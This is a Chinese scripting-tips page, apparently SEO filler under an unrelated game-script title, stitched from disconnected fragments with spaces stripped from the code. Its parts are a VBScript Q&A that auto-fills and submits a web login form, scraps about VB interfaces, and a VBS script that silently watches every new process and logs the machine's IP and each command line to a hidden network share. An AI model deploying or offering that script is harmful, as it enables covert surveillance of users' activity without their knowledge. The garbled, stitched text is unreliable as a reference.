趣头条脚本雷电模拟器地下城

发布时间:2020-06-29 来源:脚本之家 点击:

Point方法返回图片框控件里指定X,Y坐标处的颜色dimie
setie=createobject("internetexplorer.application")
ie.visible=true
ie.navigate""
Whileie.busyorie.readystate<>4
EndWhile
ie.document.all("userid").value="13304948957"'手机号码
ie.document.all("passwd").value="111111"'密码
ie.document.all("verifycode").value="1111"'识别码
ie.document.all.loginOnForm.submit

一调试脚本就显示缺少对象:"ie.document.all("....")"
"ie.document.all.loginOnForm.submit"这行还显示对象不支持此属性或者方法
请各位大侠帮忙看看哪里出了错谢谢啦
提问者:fxdca2008-试用期一级
最佳答案
楼主代码有几处错误:
1.EndWhile应为Wend
2.网页上的手机号码、密码等表单元域其实是在一个<iFrame>中的网页上,不能直接调用,而应该使
用ie.document.frames(0).document.loginOnForm...来调用
正确代码如下(可以自动填写交提交,提交上去以后会返回“识别码错误”的提示,属于正常现象)

Subtest()
Dimie
Setie=CreateObject("internetexplorer.application")
ie.Visible=True
ie.navigate""
Whileie.busyOrie.readystate<>4

Wend
ie.document.frames(0).document.loginonform.UserId.Value="13304948957"'手机号码
ie.document.frames(0).document.loginonform.passwd.Value="111111"'密码
ie.document.frames(0).document.loginonform.verifycode.Value="1111"'识别码
ie.document.frames(0).document.loginonform.submit
EndSub

龙之谷蜘蛛脚本
)您说对了,在大多数WMI注册表脚本中,我们需要将值分配给两个变量,一个代表注册表项,另一个代表注册表项中所需的值如果大家用过《Windows优化大师》,肯定会被它的界面所倾倒,其实利用ActiveSkin就可以办到,甚至更爽,但是如果要做的共享软件只是一个文件,在加上几个OCX累赘,似乎很是不爽,看看VB是怎么利用别的东东来实现的吧

因为IE是把文件下载到本地缓存的,我们可以让IE组件先把文件下载到缓存,然后再从缓存找到并copy至我们需要保存的位置在WIN9X下,一般不再采用原来的先在驱动器列表框中选择驱动器再在相应的驱动器中选择相应文件夹的界面,而是采用的类似资源管理器中“所有文件夹”界面:最上层是“桌面”,然后是“我的电脑”、驱动器A、C、D...等,在一个列表框中用户可实现浏览所有驱动器及文件夹的操作

在脚本级用Dim声明变量,Dim是声明变量的全功能关键字这些名称包括:
  ·常量名
  ·变量名
  ·自定义的类型定义名
  ·模块名
  ·DLL过程声明名
  对工程名表总大小没有限制,但是区分大小写的条目不得超过32K

记录客户机操作的VBS脚本
onerrorresumenext
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")
SetIPConfigSet=objWMIService.ExecQuery_
("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")
ForEachIPConfiginIPConfigSet
IfNotIsNull(IPConfig.IPAddress)Then
Fori=LBound(IPConfig.IPAddress)toUBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
EndIf
Next

strComputer="."
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate}!\"&strComputer&"\root\cimv2")
SetcolMonitoredProcesses=objWMIService._
ExecNotificationQuery("select*from__instancecreationevent"_
&"within1whereTargetInstanceisa'Win32_Process'")


i=0


DoWhilei=0
SetobjLatestProcess=colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine

setfso=createobject("scripting.filesystemobject")
setfile1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writelinenow()&"---"&a&"---"&b&"<hr>"
file1.close

Loop
费九品小县令本例是通过Form_MouseMove事件来判断鼠标指针是在窗体之内还是窗体之外的,你可根据需要作相应改动

在Windows 64位操作系统上运行32位的vbscript方法:

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号